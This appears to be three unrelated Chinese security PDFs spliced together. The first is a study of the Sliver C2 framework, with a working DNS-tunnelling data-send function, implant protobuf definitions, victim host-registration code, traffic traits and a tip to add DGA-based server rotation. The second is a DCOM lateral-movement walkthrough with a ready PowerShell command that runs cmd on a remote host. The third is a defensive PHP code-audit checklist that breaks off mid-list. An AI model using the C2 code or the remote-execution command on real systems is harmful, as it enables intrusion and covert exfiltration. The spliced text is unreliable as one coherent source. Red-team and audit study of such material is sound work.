subdata 、 seq 、 nonce 由发送函数自动生成组装,sessionid、msgType、parentdomain 由用户控
制。我将它DNS发送函数抽取了出来,可以自己模拟DNS发送的过程。
subdata.seq.nonce.sessionid.msgType.parentdomain
package main
import (
"bytes"
"encoding/base32"
"encoding/binary"
"fmt"
"log"
"math"
insecureRand "math/rand"
"strings"
)
const (
sessionIDSize = 16
dnsSendDomainSeg = 63
dnsSendDomainStep = 189 // 63 * 3
domainKeyMsg = "_domainkey"
blockReqMsg = "b"
clearBlockMsg = "cb"
sessionInitMsg = "si"
sessionPollingMsg = "sp"
sessionEnvelopeMsg = "se"
nonceStdSize = 6
blockIDSize = 6
maxBlocksPerTXT = 200 // How many blocks to put into a TXT resp at a time
)
var dnsCharSet = []rune("abcdefghijklmnopqrstuvwxyz0123456789_")
var base32Alphabet = "ab1c2d3e4f5g6h7j8k9m0npqrtuvwxyz"
var sliverBase32 = base32.NewEncoding(base32Alphabet)
func dnsEncodeToString(input []byte) string {
encoded := sliverBase32.EncodeToString(input)
// {{if .Config.Debug}}
log.Printf("[base32] %#v", encoded)
// {{end}}
return strings.TrimRight(encoded, "=")
}
// dnsNonce - Generate a nonce of a given size in case the resolver ignores the
TTL
func dnsNonce(size int) string {
nonce := []rune{}
for i := 0; i < size; i++ {
index := insecureRand.Intn(len(dnsCharSet))
nonce = append(nonce, dnsCharSet[index])
}
return string(nonce)
}
func dnsDomainSeq(seq int) []byte {
buf := new(bytes.Buffer)
binary.Write(buf, binary.LittleEndian, uint32(seq))
return buf.Bytes()
}
// Send raw bytes of an arbitrary length to the server
func dnsSend(parentDomain string, msgType string, sessionID string, data []byte)
{
encoded := dnsEncodeToString(data)
size := int(math.Ceil(float64(len(encoded)) / float64(dnsSendDomainStep)))
// {{if .Config.Debug}}
log.Printf("Encoded message length is: %d (size = %d)", len(encoded), size)
// {{end}}
nonce := dnsNonce(10) // Larger nonce for this use case
// DNS domains are limited to 254 characters including '.' so that means
// Base 32 encoding, so (n*8 + 4) / 5 = 63 means we can encode 39 bytes
// So we have 63 * 3 = 189 (+ 3x '.') + metadata
// So we can send up to (3 * 39) 117 bytes encoded as 3x 63 character
subdomains
// We have a 4 byte uint32 seqence number, max msg size (2**32) * 117 =
502511173632
//
// Format: (subdata...).(seq).(nonce).(session id).(_)(msgType).<parent
domain>
// [63].[63].[63].[4].[20].[12].[3].
// ... ~235 chars ...
// Max parent domain: ~20 chars
//
for index := 0; index < size; index++ {
// {{if .Config.Debug}}
log.Printf("Sending domain #%d of %d", index+1, size)
// {{end}}
start := index * dnsSendDomainStep
stop := start + dnsSendDomainStep
if len(encoded) <= stop {
stop = len(encoded)
}
// {{if .Config.Debug}}
log.Printf("Send data[%d:%d] %d bytes", start, stop,
len(encoded[start:stop]))
// {{end}}
data := encoded[start:stop] // Total data we're about to send
subdomains := int(math.Ceil(float64(len(data)) / dnsSendDomainSeg))
// {{if .Config.Debug}}
log.Printf("Subdata subdomains: %d", subdomains)
// {{end}}
subdata := []string{} // Break up into at most 3 subdomains (189)
for dataIndex := 0; dataIndex < subdomains; dataIndex++ {
dataStart := dataIndex * dnsSendDomainSeg
dataStop := dataStart + dnsSendDomainSeg
if len(data) < dataStop {
dataStop = len(data)
}
// {{if .Config.Debug}}
log.Printf("Subdata #%d [%d:%d]: %#v", dataIndex, dataStart,
dataStop, data[dataStart:dataStop])
// {{end}}
subdata = append(subdata, data[dataStart:dataStop])
}
// {{if .Config.Debug}}
log.Printf("Encoded subdata: %#v", subdata)
// {{end}}
subdomain := strings.Join(subdata, ".")
seq := dnsEncodeToString(dnsDomainSeq(index))
domain := subdomain + fmt.Sprintf(".%s.%s.%s.%s.%s", seq, nonce,
sessionID, msgType, parentDomain)
log.Println("dnsLookup", domain)
//_, err := dnsLookup(domain)
//if err != nil {
// return "", err
//}
}
// A domain with "_" before the msgType means we're doing sending data
domain := fmt.Sprintf("%s.%s.%s.%s", nonce, sessionID, "_"+msgType,
parentDomain)
log.Println("dnsLookup and recv", domain)
}
func main() {
parentDomain := "360.cn"
msgType := "si" //sessionInitMsg
sessionID := "_"
var data = []byte("texttexttexttexttexttexttexttexttexttexttexttext")
dnsSend(parentDomain, msgType, sessionID, data)
}
DNS C2上线协议部分总结了一下脑图
防止重放攻击
server会记录每次请求过来的连接,将它们sha1编码,每次请求都会检查一遍,如果有相同的DNS请求
第二次收到,表明可能是蓝队对木马或流量开始了分析。
DNS Canary发现
除了server端的重放检测,向implant内置一个诱饵dns,也是一个检查暴露的方法。如果有人访问这个
地址,说明implant已经暴露了。
dns canary域名生成
server\generate\canaries.go
会随机生成一个子域名,存储在数据库,存储的内容
server端启动dns服务后,会查看DNS的信息,如果是数据库中存在的canary dns,则会更新这个dns的
信息(更新触发时间,触发次数,是否第一次触发),然后向控制端广播。
最后向请求者返回一个随机IP。
编码协议
client 操作 teamserver,是通过grpc + mtls双向加密进行
具体协议的内容在源代码的 protobuf\README.md
因为使用了grpc,它使用的协议是Google的 proto3 。
Protocol Buffer (简称Protobuf) 是Google出品的性能优异、跨语言、跨平台的序列化库。
在 protobuf 目录下,一些协议的说明
查看client的协议源文件 clientpb ,就可以看到木马会发送哪些字段了
Protobuf
==========
*`commonpb` -`clientpb` 和 `sliverpb` 之间共享的通用消息。值得注意的是通用的“Request”和
“Response”类型,它们在 gRPC 请求/响应中用作标头。
*`clientpb` -这些消息 只从客户端发送到服务器。
*`sliverpb` -这些消息可以从客户端发送到服务器或从服务器发送到植入物,反之亦然。并非此文件中定
义的所有消息都会出现在客户端<->服务器通信中,有些是特定于植入<->服务器的。
*`rpcpb` -gRPC 服务定义
syntax = "proto3";
package clientpb;
option go_package = "github.com/bishopfox/sliver/protobuf/clientpb";
import "commonpb/common.proto";
// [ Version ] ----------------------------------------
message Version {
int32 Major = 1;
int32 Minor = 2;
int32 Patch = 3;
string Commit = 4;
bool Dirty = 5;
int64 CompiledAt = 6;
string OS = 7;
string Arch = 8;
}
// [ Core ] ----------------------------------------
message Session {
uint32 ID = 1;
string Name = 2;
string Hostname = 3;
string UUID = 4;
string Username = 5;
string UID = 6;
string GID = 7;
string OS = 8;
string Arch = 9;
string Transport = 10;
string RemoteAddress = 11;
int32 PID = 12;
string Filename = 13; // Argv[0]
string LastCheckin = 14;
string ActiveC2 = 15;
string Version = 16;
bool Evasion = 17;
bool IsDead = 18;
uint32 ReconnectInterval = 19;
string ProxyURL = 20;
}
message ImplantC2 {
uint32 Priority = 1;
string URL = 2;
string Options = 3; // Protocol specific options
}
message ImplantConfig {
string GOOS = 1;
string GOARCH = 2;
string Name = 3;
string CACert = 4;
string Cert = 5;
string Key = 6;
bool Debug = 7;
bool Evasion = 31;
bool ObfuscateSymbols = 30;
uint32 ReconnectInterval = 8;
uint32 MaxConnectionErrors = 9;
// c2
repeated ImplantC2 C2 = 10;
repeated string CanaryDomains = 11;
bool LimitDomainJoined = 20;
string LimitDatetime = 21;
string LimitHostname = 22;
string LimitUsername = 23;
string LimitFileExists = 32;
enum OutputFormat {
SHARED_LIB = 0;
SHELLCODE = 1;
EXECUTABLE = 2;
SERVICE = 3;
}
OutputFormat Format = 25;
bool IsSharedLib = 26;
string FileName = 27;
bool IsService = 28;
bool IsShellcode = 29;
}
// Configs of previously built implants
message ImplantBuilds {
map<string, ImplantConfig> Configs = 1;
}
message DeleteReq {
string Name = 1;
}
// DNSCanary - Single canary and metadata
message DNSCanary {
string ImplantName = 1;
string Domain = 2;
bool Triggered = 3;
string FirstTriggered = 4;
string LatestTrigger = 5;
uint32 Count = 6;
}
message Canaries {
repeated DNSCanary Canaries = 1;
}
message ImplantProfile {
string Name = 1;
ImplantConfig Config = 2;
}
message ImplantProfiles {
repeated ImplantProfile Profiles = 1;
}
message RegenerateReq {
string ImplantName = 1;
}
message Job {
uint32 ID = 1;
string Name = 2;
string Description = 3;
string Protocol = 4;
uint32 Port = 5;
repeated string Domains = 6;
}
// [ Jobs ] ----------------------------------------
message Jobs {
repeated Job Active = 1;
}
message KillJobReq {
uint32 ID = 1;
}
message KillJob {
uint32 ID = 1;
bool Success = 2;
}
// [ Listeners ] ----------------------------------------
message MTLSListenerReq {
string Host = 1;
uint32 Port = 2;
bool Persistent = 3;
}
message MTLSListener {
uint32 JobID = 1;
}
message DNSListenerReq {
repeated string Domains = 1;
bool Canaries = 2;
string Host = 3;
uint32 Port = 4;
bool Persistent = 5;
}
message DNSListener {
uint32 JobID = 1;
}
message HTTPListenerReq {
string Domain = 1;
string Host = 2;
uint32 Port = 3;
bool Secure = 4; // Enable HTTPS
string Website = 5;
bytes Cert = 6;
bytes Key = 7;
bool ACME = 8;
bool Persistent = 9;
}
// Named Pipes Messages for pivoting
message NamedPipesReq {
string PipeName = 16;
commonpb.Request Request = 9;
}
message NamedPipes {
bool Success = 1;
string Err = 2;
commonpb.Response Response = 9;
}
// TCP Messages for pivoting
message TCPPivotReq {
string Address = 16;
commonpb.Request Request = 9;
}
message TCPPivot {
bool Success = 1;
string Err = 2;
commonpb.Response Response = 9;
}
message HTTPListener {
uint32 JobID = 1;
}
// [ commands ] ----------------------------------------
message Sessions {
repeated Session Sessions = 1;
}
message UpdateSession {
uint32 SessionID = 1;
string Name = 2;
}
message GenerateReq {
ImplantConfig Config = 1;
}
message Generate {
commonpb.File File = 1;
}
message MSFReq {
string Payload = 1;
string LHost = 2;
uint32 LPort = 3;
string Encoder = 4;
int32 Iterations = 5;
commonpb.Request Request = 9;
}
message MSFRemoteReq {
string Payload = 1;
string LHost = 2;
uint32 LPort = 3;
string Encoder = 4;
int32 Iterations = 5;
uint32 PID = 8;
commonpb.Request Request = 9;
}
enum StageProtocol {
TCP = 0;
HTTP = 1;
HTTPS = 2;
}
message StagerListenerReq {
StageProtocol Protocol = 1;
string Host = 2;
uint32 Port = 3;
bytes Data = 4;
bytes Cert = 5;
bytes Key = 6;
bool ACME = 7;
}
message StagerListener {
uint32 JobID = 1;
}
message ShellcodeRDIReq {
bytes Data = 1;
string FunctionName = 2;
string Arguments = 3;
}
message ShellcodeRDI {
bytes Data = 1;
}
message MsfStagerReq {
string Arch = 1;
string Format = 2;
uint32 Port = 3;
string Host = 4;
string OS = 5; // reserved for future usage
StageProtocol Protocol = 6;
repeated string BadChars = 7;
}
message MsfStager {
commonpb.File File = 1;
}
// GetSystemReq - Client request to the server which is translated into
// InvokeSystemReq when sending to the implant.
message GetSystemReq {
string HostingProcess = 1;
ImplantConfig Config = 2;
commonpb.Request Request = 9;
}
// MigrateReq - Client request to the server which is translated into
// InvokeMigrateReq when sending to the implant.
message MigrateReq {
uint32 Pid = 1;
ImplantConfig Config = 2;
commonpb.Request Request = 9;
}
// [ Tunnels ] ----------------------------------------
message CreateTunnelReq {
commonpb.Request Request = 9;
}
message CreateTunnel {
uint32 SessionID = 1;
uint64 TunnelID = 8 [jstype = JS_STRING];
}
message CloseTunnelReq {
uint64 TunnelID = 8 [jstype = JS_STRING];
commonpb.Request Request = 9;
}
// [ events ] ----------------------------------------
message Client {
uint32 ID = 1;
string Name = 2;
Operator Operator = 3;
}
message Event {
string EventType = 1;
Session Session = 2;
Job Job = 3;
Client Client = 4;
bytes Data = 5;
string Err = 6; // Can't trigger normal gRPC error
}
message Operators {
repeated Operator Operators = 1;
}
message Operator {
bool Online = 1;
string Name = 2;
}
// [ websites ] ----------------------------------------
message WebContent {
string Path = 1;
string ContentType = 2;
uint64 Size = 3 [jstype = JS_STRING];
bytes Content = 9;
}
message WebsiteAddContent {
string Name = 1;
map<string, WebContent> Contents = 2;
}
message WebsiteRemoveContent {
string Name = 1;
repeated string Paths = 2;
}
message Website {
string Name = 1;
map<string, WebContent> Contents = 2;
}
message Websites {
repeated Website Websites = 1;
}
可学习的go编程
有很多Go编程的细节可以学习。
处理自定义协议
implant主函数很精简,先通过自定义协议连接,再一个主函数处理连接后的操作。
连接部分精简化的代码就是这样
for {
connection := transports.StartConnectionLoop()
if connection == nil {
break
}
mainLoop(connection)
}
nextCCServer可以通过连接的次数和server的数量变换协议和server
func nextCCServer() *url.URL {
uri, err := url.Parse(ccServers[*ccCounter%len(ccServers)])
*ccCounter++
if err != nil {
return nextCCServer()
}
return uri
}
后续通过解析出来的协议再分别处理。nextCCServer的算法有点简单,自己写的话可以修改一下,用一
些时间算法,dga算法等等,来达到随机化获取c2 teamserver的目的。
map映射函数
在接收任务进行处理的时候,通过map映射执行相关的函数
Goroutine 和 chanel
使用chanel传递参数,使用goroutine创建处理过程
chanel创建完成后,想像server发送指令,只需要
即可
获取基础信息
send <- 指令
func getRegisterSliver() *sliverpb.Envelope {
hostname, err := os.Hostname()
if err != nil {
hostname = ""
}
currentUser, err := user.Current()
if err != nil {
// Gracefully error out
currentUser = &user.User{
Username: "<< error >>",
得到信息后,直接通过发送到相关transport实现的send chan里
测试用例
用于工程化的一键生成、一键测试,详情可查看 _test.go 结尾的文件,这是个好习惯
流量特征
Uid: "<< error >>",
Gid: "<< error >>",
}
}
filename, err := os.Executable()
// Should not happen, but still...
if err != nil {
//TODO: build the absolute path to os.Args[0]
if 0 < len(os.Args) {
filename = os.Args[0]
} else {
filename = "<< error >>"
}
}
// Retrieve UUID
uuid := hostuuid.GetUUID()
data, err := proto.Marshal(&sliverpb.Register{
Name: consts.SliverName,
Hostname: hostname,
Uuid: uuid,
Username: currentUser.Username,
Uid: currentUser.Uid,
Gid: currentUser.Gid,
Os: runtime.GOOS,
Version: version.GetVersion(),
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: filename,
ActiveC2: transports.GetActiveC2(),
ReconnectInterval: uint32(transports.GetReconnectInterval() /
time.Second),
ProxyURL: transports.GetProxyURL(),
})
if err != nil {
return nil
}
return &sliverpb.Envelope{
Type: sliverpb.MsgRegister,
Data: data,
}
}
connection.Send <- getRegisterSliver()
http
获取公钥,访问 .txt 结尾
获取sessionid 会返回jsp结尾的uri
回显数据发送,以php结尾的uri
poll拉取请求,以访问 .js 结尾的uri
默认的UA以及请求流量
func (s *SliverHTTPClient) txtURL() string {
curl, _ := url.Parse(s.Origin)
segments := []string{"static", "www", "assets", "text", "docs", "sample"}
filenames := []string{"robots.txt", "sample.txt", "info.txt", "example.txt"}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
}
func (s *SliverHTTPClient) jspURL() string {
curl, _ := url.Parse(s.Origin)
segments := []string{"app", "admin", "upload", "actions", "api"}
filenames := []string{"login.jsp", "admin.jsp", "session.jsp", "action.jsp"}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
}
func (s *SliverHTTPClient) phpURL() string {
curl, _ := url.Parse(s.Origin)
segments := []string{"api", "rest", "drupal", "wordpress"}
filenames := []string{"login.php", "signin.php", "api.php", "samples.php"}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
}
func (s *SliverHTTPClient) jsURL() string {
curl, _ := url.Parse(s.Origin)
segments := []string{"js", "static", "assets", "dist", "javascript"}
filenames := []string{"underscore.min.js", "jquery.min.js",
"bootstrap.min.js"}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
}
defaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0)
like Gecko"
req, _ := http.NewRequest(method, uri, body)
req.Header.Set("User-Agent", defaultUserAgent)
req.Header.Set("Accept-Language", "en-US")
query := req.URL.Query()
query.Set("_", fmt.Sprintf("%d", encoderNonce))
dns
对于一个域名有多个5级域名以上的DNS请求,或txt请求记录
一次完整的dns交互可能包含这些敏感DNS域名的字符串 _domainkey 、 .si 、 .se 、 .b | pdf |
T1175: Lateral Movement via DCOM
查看mitre ATT&CK 的描述,已经不推荐使用该技术,推荐使用Remote Services: Distributed
Component Object Model和Inter-Process Communication: Component Object Model。
参考:
The Component Object Model
LATERAL MOVEMENT USING EXCEL.APPLICATION AND DCOM
域渗透——利用DCOM在远程系统执行程序
组件对象模型
什么是DCOM( Distributed Component Object Model ,分布式组件模型),先说下COM
(Component Object Model ,组件对象模型)。
COM component(COM组件)是微软公司为了计算机工业的软件生产更加符合人类的行为方式
开发的一种新的软件开发技术。——百科
The Microsoft Component Object Model (COM) is a platform-independent, distributed,
object-oriented system for creating binary software components that can interact. COM is
the foundation technology for Microsoft's OLE (compound documents), ActiveX (Internet-
enabled components), as well as others.——MSDN
简要的描述下COM:
COM 不是一种面向对象的语言,而是一种标准,和编程语言或OS无关。
COM对语言的唯一要求:代码在能够创造指针结构的语言中生成,并且能够通过指针显式或隐式
的调用函数。
COM 主要的两个内容:对象和接口
每个对象和接口都关联一个128位的GUID(全局唯一标识符),称为类CLSID(类标识符),用于
标识唯一的COM对象。
COM 类在操作系统中注册的,位于注册表中:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID
DCOM是什么? RPC+COM == DCOM ,DCOM允许COM组件利用网络来传输数据。
笔者这里只是简单里描述关键概念,Microsoft 为了实现跨机器、跨语言、跨平台、跨进程,
COM的内容非常之复杂。
对DCOM有了一个了解,下面的测试过程可以概括为:利用DCOM 远程调用COM组件执行命令
Execution
MMC20.Application COM class 存储在注册表中:
和目标建立连接:
通过DCOM对象在受害者系统上执行命令:
仅演示,既然能执行cmd,就能执行其他命令,反弹shell,存活探测等等。
不要局限演示,例如在Cobalt Strike beacon 中执行命令等等。
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-
4C90-9B8E-E860BA07F889}'
$a =
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.
1","192.168.3.142"))
$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname >
c:\Hostname.txt","7")
Observations
先看下整个执行命令过程发生的日志:
使用ProcessMonitor 查看下进程详情:
mmc.exe 的父进程是 svchost.exe ,在TCP/IP 菜单中可以查看到 PC-jerry-0day 向 OWA2010SP3 建立的
连接。
使用ProcessMonitor 查看 "mmc.exe"启动过程中的调用 stack(堆栈),调用了 rpcrt4.dll :
小结
使用DCOM横向的方法还有很多,文章的原作者写了几篇关于DCOM 横向的,有机会在学习吧,可能
我们用的最多的是 impacket 中的dcomexec ,原理上有所不同,具体哪里不同,笔者也说不上来(如果
有知道的师傅请指教),唯一注意的点,需要管理权限。
参考
View::ExecuteShellCommand method
LATERAL MOVEMENT USING THE MMC20.APPLICATION COM OBJECT
GetTypeFromCLSID(Guid, String)
COM Technical Overview
还有一部分资料没来得及阅读,这里补充:
如何滥用DCOM实现横向渗透
红蓝对抗攻防实战:寻找COM对象
Abusing the COM Registry Structure: CLSID, LocalServer32, & InprocServer32
Abusing DCOM For Yet Another Lateral Movement Technique
NEW LATERAL MOVEMENT TECHNIQUES ABUSE DCOM TECHNOLOGY | pdf |
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
PHP 代码审计
目录
1. 概述 ...................................................................... 2
2. 输入验证和输出显示 ......................................................... 2
1.
命令注入 ............................................................ 3
2.
跨站脚本 ............................................................ 3
3.
文件包含 ............................................................ 4
4.
代码注入 ............................................................ 4
5.
SQL注入 ............................................................. 4
6.
XPath 注入 ........................................................... 4
7.
HTTP响应拆分 ........................................................ 5
8.
文件管理 ............................................................ 5
9.
文件上传 ............................................................ 5
10.
变量覆盖 ............................................................ 5
11.
动态函数 ............................................................ 6
3. 会话安全 .................................................................. 6
1.
HTTPOnly设置 ........................................................ 6
2.
domain 设置 .......................................................... 6
3.
path设置 ............................................................ 6
4.
cookies持续时间 ...................................................... 6
5.
secure 设置 .......................................................... 6
6.
session固定 ......................................................... 7
7.
CSRF ................................................................ 7
4. 加密 ...................................................................... 7
1.
明文存储密码 ......................................................... 7
2.
密码弱加密........................................................... 7
3.
密码存储在攻击者能访问到的文件 ......................................... 7
5. 认证和授权................................................................. 7
1.
用户认证 ............................................................ 7
1.
函数或文件的未认证调用 ................................................ 7
3.
密码硬编码........................................................... 8
6. 随机函数 .................................................................. 8
1.
rand() .............................................................. 8
2.
mt_srand()和mt_rand() ................................................ 8
7. 特殊字符和多字节编码 ........................................................ 8
1.
多字节编码........................................................... 8
8. PHP危险函数 ............................................................... 8
1.
缓冲区溢出........................................................... 8
2.
session_destroy()删除文件漏洞 .......................................... 9
3.
unset()-zend_hash_del_key_or_index漏洞 ................................. 9
9. 信息泄露 ................................................................. 10
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
1.
phpinfo ............................................................ 10
10.
PHP环境 ................................................................ 10
1.
open_basedir设置 .................................................... 10
2.
allow_url_fopen 设置 ................................................. 10
3.
>allow_url_include 设置 ............................................ 10
4.
safe_mode_exec_dir设置 .............................................. 10
5.
magic_quote_gpc 设置 ................................................. 10
6.
register_globals 设置 ................................................ 11
7.
safe_mode设置 ...................................................... 11
8.
session_use_trans_sid 设置 ............................................ 11
9.
display_errors设置 .................................................. 11
10.
expose_php 设置...................................................... 11
1.
概述
代码审核,是对应用程序源代码进行系统性检查的工作。它的目的是为了找到并且修复应
用程序在开发阶段存在的一些漏洞或者程序逻辑错误,避免程序漏洞被非法利用给企业带来不必
要的风险。
代码审核不是简单的检查代码,审核代码的原因是确保代码能安全的做到对信息和资源进
行足够的保护,所以熟悉整个应用程序的业务流程对于控制潜在的风险是非常重要的。审核人员
可以使用类似下面的问题对开发者进行访谈,来收集应用程序信息。
应用程序中包含什么类型的敏感信息,应用程序怎么保护这些信息的?
应用程序是对内提供服务,还是对外?哪些人会使用,他们都是可信用户么?
应用程序部署在哪里?
应用程序对于企业的重要性?
最好的方式是做一个 checklist,让开发人员填写。Checklist 能比较直观的反映应用程序
的信息和开发人员所做的编码安全,它应该涵盖可能存在严重漏洞的模块,例如:数据验证、身
份认证、会话管理、授权、加密、错误处理、日志、安全配置、网络架构。
2.
输入验证和输出显示
大多数漏洞的形成原因主要都是未对输入数据进行安全验证或对输出数据未经过安全处理,
比较严格的数据验证方式为:
1. 对数据进行精确匹配
2. 接受白名单的数据
3. 拒绝黑名单的数据
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
4. 对匹配黑名单的数据进行编码
在 PHP 中可由用户输入的变量列表如下:
$_SERVER
$_GET
$_POST
$_COOKIE
$_REQUEST
$_FILES
$_ENV
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
我们应该对这些输入变量进行检查
1. 命令注入
PHP 执行系统命令可以使用以下几个函数:system、exec、passthru、“、shell_exec、
popen、proc_open、pcntl_exec
我们通过在全部程序文件中搜索这些函数,确定函数的参数是否会因为外部提交而改变,
检查这些参数是否有经过安全处理。
防范方法:
1. 使用自定义函数或函数库来替代外部命令的功能
2. 使用 escapeshellarg 函数来处理命令参数
3. 使用 safe_mode_exec_dir 指定可执行文件的路径
2. 跨站脚本
反射型跨站常常出现在用户提交的变量接受以后经过处理,直接输出显示给客户端;存储
型跨站常常出现在用户提交的变量接受过经过处理后,存储在数据库里,然后又从数据库中读取
到此信息输出到客户端。输出函数经常使用:echo、print、printf、vprintf、<%=$test%>
对于反射型跨站,因为是立即输出显示给客户端,所以应该在当前的 php 页面检查变量被
客户提交之后有无立即显示,在这个过程中变量是否有经过安全检查。
对于存储型跨站,检查变量在输入后入库,又输出显示的这个过程中,变量是否有经过安
全检查。
防范方法:
1. 如果输入数据只包含字母和数字,那么任何特殊字符都应当阻止
2. 对输入的数据经行严格匹配,比如邮件格式,用户名只包含英文或者中文、下划线、连字符
3. 对输出进行 HTML 编码,编码规范
< <
> >
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
( (
) )
# #
& &
" "
‘ '
` %60
3. 文件包含
PHP 可能出现文件包含的函数:include、include_once、require、require_once、
show_source、highlight_file、readfile、file_get_contents、fopen、 nt>file
防范方法:
1. 对输入数据进行精确匹配,比如根据变量的值确定语言 en.php、cn.php,那么这两个文件放在
同一个目录下’language/’.$_POST[‘lang’].’.php’,那么检查提交的数据是否是 en 或者
cn 是最严格的,检查是否只包含字母也不错
2. 通过过滤参数中的/、..等字符
4. 代码注入
PHP 可能出现代码注入的函数:eval、preg_replace+/e、assert、call_user_func、
call_user_func_array、create_function
查找程序中程序中使用这些函数的地方,检查提交变量是否用户可控,有无做输入验证
防范方法:
1. 输入数据精确匹配
2. 白名单方式过滤可执行的函数
5. SQL 注入
SQL 注入因为要操作数据库,所以一般会查找 SQL 语句关键字:insert、delete、update、
select,查看传递的变量参数是否用户可控制,有无做过安全处理
防范方法:
使用参数化查询
6. XPath 注入
Xpath 用于操作 xml,我们通过搜索 xpath 来分析,提交给<fo
nt face="Arial, sans-serif">xpath</fo
函数的参数是否有经过安全处理
防范方法:
对于数据进行精确匹配
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
7. HTTP 响应拆分
PHP 中可导致 HTTP 响应拆分的情况为:使用 header 函数和使用$_SERVER 变量。注意 PHP
的高版本会禁止 HTTP 表头中出现换行字符,这类可以直接跳过本测试。
防范方法:
1. 精确匹配输入数据
2. 检测输入输入中如果有\r 或\n,直接拒绝
8. 文件管理
PHP 的用于文件管理的函数,如果输入变量可由用户提交,程序中也没有做数据验证,可
能成为高危漏洞。我们应该在程序中搜索如下函数:copy、rmdir、unlink、delete、fwrite、
chmod、fgetc、fgetcsv、fgets、fgetss、file、file_get_contents、fread、readfile、ftruncate、
file_put_contents、fputcsv、fputs,但通常 PHP 中每一个文件操作函数都可能是危险的。
http://ir.php.net/manual/en/re
f.filesystem.php
防范方法:
1. 对提交数据进行严格匹配
2. 限定文件可操作的目录
9. 文件上传
PHP 文件上传通常会使用 move_uploaded_file,也可以找到文件上传的程序进行具体分析
防范方式:
1. 使用白名单方式检测文件后缀
2. 上传之后按时间能算法生成文件名称
3. 上传目录脚本文件不可执行
4. 注意%00 截断
10.
变量覆盖
PHP 变量覆盖会出现在下面几种情况:
1. 遍历初始化变量
例:
foreach($_GET as $key => $value)
$$key = $value;
2. 函数覆盖变量:parse_str、mb_parse_str、import_request_variables
3. Register_globals=ON 时,GET 方式提交变量会直接覆盖
防范方法:
1. 设置 Register_globals=OFF
2. 不要使用这些函数来获取变量
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
11.
动态函数
当使用动态函数时,如果用户对变量可控,则可导致攻击者执行任意函数。
例:
<?php
$myfunc = $_GET['myfunc' font>];
$myfunc();
?>
防御方法:
不要这样使用函数
3.
会话安全
1. HTTPOnly 设置
session.cookie_httponly = ON 时,客户端脚本(JavaScript 等)无法访问该 cookie,打
开该指令可以有效预防通过 XSS 攻击劫持会话 ID
2. domain 设置
检查 session.cookie_domain 是否只包含本域,如果是父域,则其他子域能够获取本域的
cookies
3. path 设置
检查 session.cookie_path,如果网站本身应用在/app,则 path 必须设置为/app/,才能
保证安全
4. cookies 持续时间
检查 session.cookie_lifetime,如果时间设置过程过长,即使用户关闭浏览器,攻击者
也会危害到帐户安全
5. secure 设置
如果使用 HTTPS,那么应该设置 session.cookie_secure=ON,确保使用 HTTPS 来传输
cookies
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
6. session 固定
如果当权限级别改变时(例如核实用户名和密码后,普通用户提升到管理员),我们就应
该修改即将重新生成的会话 ID,否则程序会面临会话固定攻击的风险。
7. CSRF
跨站请求伪造攻击,是攻击者伪造一个恶意请求链接,通过各种方式让正常用户访问后,
会以用户的身份执行这些恶意的请求。我们应该对比较重要的程序模块,比如修改用户密码,添
加用户的功能进行审查,检查有无使用一次性令牌防御 csrf 攻击。
4.
加密
1. 明文存储密码
采用明文的形式存储密码会严重威胁到用户、应用程序、系统安全。
2. 密码弱加密
使用容易破解的加密算法,MD5 加密已经部分可以利用 md5 破解网站来破解
3. 密码存储在攻击者能访问到的文件
例如:保存密码在 txt、ini、conf、inc、xml 等文件中,或者直接写在 HTML 注释中
5.
认证和授权
1. 用户认证
检查代码进行用户认证的位置,是否能够绕过认证,例如:登录代码可能存在表单注入。
检查登录代码有无使用验证码等,防止暴力破解的手段
1. 函数或文件的未认证调用
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
一些管理页面是禁止普通用户访问的,有时开发者会忘记对这些文件进行权限验证,导致漏洞发
生
某些页面使用参数调用功能,没有经过权限验证,比如 index.php?action=upload
3. 密码硬编码
有的程序会把数据库链接账号和密码,直接写到数据库链接函数中。
6.
随机函数
1. rand()
rand()最大随机数是 32767,当使用 rand 处理 session 时,攻击者很容易破解出 session,
建议使用 mt_rand()
2. mt_srand()和mt_rand()
e="text-indent: 0.85cm; margin-bottom: 0cm; line-height: 125%">PHP4 和 PHP5<5.2.6,这两个函
数处理数据是不安全的。在 web 应用中很多使用 mt_rand 来处理随机的 session,比如密码找回
功能等,这样的后果就是被攻击者恶意利用直接修改密码。
7.
特殊字符和多字节编码
1. 多字节编码
8.
PHP 危险函数
1. 缓冲区溢出
作者:http://www.sectop.com/
文档制作:http://www.mythhack.com
confirm_phpdoc_compiled
影响版本:
phpDocumentor phpDocumentor 1.3.1
phpDocumentor phpDocumentor 1.3 RC4
phpDocumentor phpDocumentor 1.3 RC3
phpDocumentor phpDocumentor 1.2.3
phpDocumentor phpDocumentor 1.2.2
phpDocumentor phpDocumentor 1.2.1
phpDocumentor phpDocumentor 1.2
mssql_pconnect/mssql_connect
影响版本:PHP <= 4.4.6
crack_opendict
影响版本:PHP = 4.4.6
snmpget
影响版本:PHP <= 5.2.3
ibase_connect
影响版本:PHP = 4.4.6
unserialize
影响版本:PHP 5.0.2、PHP 5.0.1、PHP 5.0.0、PHP 4.3.9、PHP 4.3.8 e="font-size: 10pt">、
PHP 4.3.7、PHP 4.3.6、PHP 4.3.3、PHP 4.3.2、PHP 4.3.1、PHP 4.3.0、PHP 4.2.3、PHP
